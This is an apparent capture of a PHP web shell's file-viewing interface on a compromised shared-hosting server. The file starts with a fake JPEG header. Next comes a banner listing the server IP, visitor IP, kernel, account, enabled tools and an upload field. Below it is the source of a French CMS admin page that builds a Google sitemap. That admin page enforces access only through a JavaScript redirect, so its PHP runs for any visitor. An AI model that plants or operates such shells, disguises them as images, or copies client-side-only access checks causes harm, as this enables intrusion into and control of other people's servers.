ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/ODLDDD_2/OLD/cp-admin/ |
Upload File : |
<?php
include_once('includes/header.php');
if($niveauT <> 1) {
echo '<script>';
echo 'window.location = "./index.php"';
echo '</script>';
}
$date_us = date('Y-m-d');
$gen = $_GET['gen'];
$sql = $bdd->query('SELECT * FROM info
WHERE id = 1');
$list = $sql->fetchAll();
for($i=0; $i<count($list); $i++) {
$url = $list[$i]['url'];
}
$urll = "http://".$url;
?>
<div class="container">
<div class="row">
<div class="span12">
<div class="page-header">
<h1>Plan Google XML</h1>
</div>
</div>
</div>
<div class="row">
<div class="span12 settings">
<div class="form-horizontal">
<div class="pull-right">
<a href="xml.php?gen=1" class="btn btn-success" id="form"><i class="icon-plus"></i><b> Générer le Plan</b></a>
</div>
<div style="margin-left : 150px;">
<br />
<br />
<?php
if ($gen >0) {
echo'<h2>Le plan Google est bien en racine !</h2>';
echo'<br />';
echo'<b>Pour installer le plan la première fois :</b>
<br />
1- Connectez-vous sur Google webmaster dans exploration/Sitemaps : (https://www.google.com/webmasters/tools/) <br />
2- Envoyez le plan : sitemaps.xml<br />
3- Par la suite le plan se mettra à jour automatiquement.
';
echo'<br /><br /><br /><br />
<br />
<b>Le contenu de votre plan XML est : </b><br />
';
}
if ($gen <1) {
echo'<h2>Générateur sitemap</h2>';
echo'<br />
Il est conseillé de mettre à jour ce XML régulièrement (1 fois par mois par exemple)
';
echo'<br />
<br />
<b>Le contenu de votre plan XML sera : </b><br />
';
}
?>
<br /><?xml version="1.0" encoding="UTF-8"?>
<br /><urlset xmlns="http://www.google.com/schemas/sitemap/0.9">
<div>
<?php
$comptp = 0;
echo'<br />';
echo'<br />';
echo'<b>PAGES CMS ------------------------------------------------</b>';
echo'<br />';
echo'<br />';
// PAGES cms
$sql = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['fixed_pages'] . " ORDER BY position");
$list = $sql->fetchAll();
for($i=0; $i<count($list); $i++) {
$seo = $list[$i]['seo'];
$status = $list[$i]['status'];
if ($status >0){
$comptp = $comptp + 1;
echo'
<url> <br />
<loc>'. $urll .'/'. $seo .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
}
echo'<br />';
echo'<br />';
echo'<b>CATEGORIES -------------------------------------------</b>';
echo'<br />';
echo'<br />';
$sql = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['categories'] . " ORDER BY id");
$list = $sql->fetchAll();
for($i=0; $i<count($list); $i++) {
$seo = $list[$i]['seo'];
$status = $list[$i]['status'];
if ($status >0){
$comptp = $comptp + 1;
echo'
<url> <br />
<loc>'. $urll .'/categorie-'. $seo .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
}
echo'<br />';
echo'<br />';
echo'<b>PRODUITS-------------------------------------------</b>';
echo'<br />';
echo'<br />';
$sql = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['products'] . " ORDER BY id");
$list = $sql->fetchAll();
for($i=0; $i<count($list); $i++) {
$seo = $list[$i]['seo'];
$status = $list[$i]['status'];
if ($status >0){
$comptp = $comptp + 1;
echo'
<url> <br />
<loc>'. $urll .'/produit-'. $seo .'</loc> <br />
<lastmod>'. $date_us .'</lastmod> <br />
<changefreq>weekly</changefreq> <br />
<priority>0.9</priority> <br />
</url>
<br />';
}
}
echo'
</urlset>';
?>
<br />
<br />
<br />
<br />
<?php echo'<font color="#CC3300" size="6">TOTAL : '.$comptp.' PAGES dont PRODUITS : '.$mod_compt.'</font>'; ?>
<br />
<br />
<b>Cliquez sur le bouton [+ Générer le Plan] pour l'exporter directement à la racine du site.</b> <br />
<br />
<br />
<br />
</div>
<?php
if ($gen >0) {
//////////////////////////////////////////////////////////////////////////////////////////////////////////
// Ecrit le fichier XML
//////////////////////////////////////////////////////////////////////////////////////////////////////////
$fp=fopen("../sitemaps.xml", "w+"); //ouverture du fichier en mode eriture, cretion du fichier s'il n'existe pas
$code_1 ='<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.google.com/schemas/sitemap/0.9">
<url>
<loc>' . $urll . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_1); // insert le code
// Pages cms
$sql = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['fixed_pages'] . " ORDER BY position");
$list = $sql->fetchAll();
for($i=0; $i<count($list); $i++) {
$seo = $list[$i]['seo'];
$status = $list[$i]['status'];
if ($status >0){
$code_2 ='
<url>
<loc>' . $urll . '/' . $seo . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_2); // insert le code
}
}
////////////////////////////////////////////////
// CAT
$sql = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['categories'] . " ORDER BY id");
$list = $sql->fetchAll();
for($i=0; $i<count($list); $i++) {
$seo = $list[$i]['seo'];
$status = $list[$i]['status'];
if ($status >0){
$code_3 ='
<url>
<loc>' . $urll .'/categorie-'. $seo . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_3); // insert le code
}
}
////////////////////////////////////////////////
//PRODUITS
$sql = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['products'] . " ORDER BY id");
$list = $sql->fetchAll();
for($i=0; $i<count($list); $i++) {
$seo = $list[$i]['seo'];
$status = $list[$i]['status'];
if ($status >0){
$code_4 ='
<url>
<loc>' . $urll .'/produit-'. $seo . '</loc>
<lastmod>' . $date_us . '</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>';
fwrite($fp,$code_4); // insert le code
}
}
fwrite($fp,$code_4); // insert le code
//////////////////////////////////////////////
$code_5 = '
</urlset>';
fwrite($fp,$code_5); // insert le code
////////////////////////////////////////////////////////////////////////////////////////////////////////// FIN
fclose($fp);
//////////////////////////////////////////////////////////////////////////////////////////////////////////
}
?>
</div>
</div>
<?
include_once('includes/footer.php');
?>